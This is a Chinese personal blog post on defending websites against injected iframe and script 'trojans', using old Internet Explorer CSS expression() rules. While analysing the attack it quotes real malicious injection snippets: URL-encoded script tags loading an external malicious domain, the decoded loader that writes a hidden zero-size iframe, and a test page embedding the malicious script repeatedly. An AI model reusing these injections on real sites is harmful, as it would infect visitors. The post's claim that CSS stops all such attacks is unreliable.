This is 赵峰 | 赵峰之城 | 赵峰的博客 !

网页被挂IFRAME木马的解决方法

网页挂马的最常见形式就是IFRAME挂马,即在你的网页中加入一段框架网页代码,这个框架网页中的内容便是带木马病毒的网页。

解决方案一:  利用UltraEdit或者Dreamweaver 里的文件替换功能。  将<iframe src=" 病毒网页 " width=0 height=0></iframe>语句替换为空白,即可将站点里的木马网页清除。手工移除IFRAME木马代码的话,成千的页面,查找替换也比较麻烦,还得一个个的上传。

方案二:一般是服务器有漏洞或者写的代码存在漏洞(比如图片上传漏洞,垮客利用漏洞将木马上传到服务器)。

1.先用杀毒软件扫描服务器,清除服务器里的木马,然后查找漏洞,看自己写的代码里有哪些SQL注入漏洞,图片上传时的过滤有没有问题。
2.升级服务器系统补丁,用windows服务器的话,直接上www.microsoft.com下载最新的系统补丁

其实有最简单的方法,只需要利用JavaScript对IFRAME进行控制即可。方法如下:

<style type="text/css" media="all">
iframe{
v:expression(this.src='about:blank',this.outerHTML='');/*使用CSS属性去除所有IFRAME*/
}
#htmer{v:expression() !important} /*如果要使自己的IFRAME可以执行,在自己的IFRAME里加上ID="htmer",如果你的网页中没有用到IFRAME,那可以把这句代码删除,这样所有的IFRAME都将不执行*/
</style><style type="text/css" media="all">
iframe{
v:expression(this.src='about:blank',this.outerHTML='');/*使用CSS属性去除所有IFRAME*/
}
#htmer{v:expression() !important} /*如果要使自己的IFRAME可以执行,在自己的IFRAME里加上ID="htmer",如果你的网页中没有用到IFRAME,那可以把这句代码删除,这样所有的IFRAME都将不执行*/
</style>

 

补充上面的 》》》》》

分析:
前缀:expression(表达式);


  这个前缀是可以随意更换的,我上面取名为"v",例如我可以换成:abc123:expression(this.src='about:blank',this.outerHTML=''); 挂木马的家伙得先看你的CSS里这个前缀,然后挂马的时候写成这样<iframe style="abc123:expression() !important" src="URL"></iframe>,那个前缀一定要是和你的网站一样的(abc123),才能挂到马,哈哈哈!如果把前缀做成动态的,就非常OK了,看你怎么挂!

优点:


  • 可以解决一些站长的烦恼,无须去理会人家插了多少IFRAME木马,那些IFRAME都不起作用;
  • 保护了访客的安全,这些IFRAME不执行,不下载,就不会破坏到访问的电脑;
  • 代码简单,仅一句CSS样式,不管你是ASP,ASP.NET,JSP,PHP还是RUBY,都通用;


缺点:


  • 只适合防御目前的挂IFRAME方案;
  • 使得人家挂马的方式要改变了,挂马者可以构造这样的代码<iframe style="v:expression() !important" src="URL"></iframe>使我的防御方式失效,不过挂马都一定得看我的CSS里expression前面的这个"v"字母,我可以换成任意的如:xgz:expression(...),哈哈哈,他也拿我没办法,再如,如果我这个前缀是变化的,是不是也行吖 *_*

  • 不能防御其他标记的马,如<script>、<applet>、<object>等。
    到那时候再来找我吧,呵呵~ 网页里插入的IFRAME还是存在,只是不起作用了。

二行代码解决全部网页木马(含iframe/script木马)

 还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

  前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

复制内容到剪贴板
代码:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>

汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

复制内容到剪贴板
代码:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

复制内容到剪贴板
代码:
...
var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

复制内容到剪贴板
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
    缺点:访客无法看到被感染了<script>木马的页面。
     

解决方案2:

复制内容到剪贴板
代码:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。


解决方案3:

复制内容到剪贴板
代码:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}

 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

复制内容到剪贴板
代码:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>

其中1.js是自己本站的:

document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");

我的测试环境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

Tags: 资料收集, 百宝箱

« 上一篇 | 下一篇 »

只显示10条记录相关文章

笔记本CPU型号全解析 (浏览: 200, 评论: 2)
FMS开发参考资料 (浏览: 125, 评论: 0)
Navicat for MySQL v8.0.27下载和注册码 (浏览: 358, 评论: 2)
小学生作文:快乐的一天 (浏览: 437, 评论: 0)
威客理论原理Principle of witkey theories (浏览: 284, 评论: 0)
小学生作文:砸蒜泥 (浏览: 322, 评论: 0)
自编纸牌玩法:狂刀乱舞 (浏览: 245, 评论: 0)
中共一大代表资料的有趣统计 (浏览: 282, 评论: 0)
排队抢购2008奥运纪念钞(图) (浏览: 343, 评论: 1)
写给新帆新闻组 (浏览: 344, 评论: 0)

发表评论

评论内容 (必填):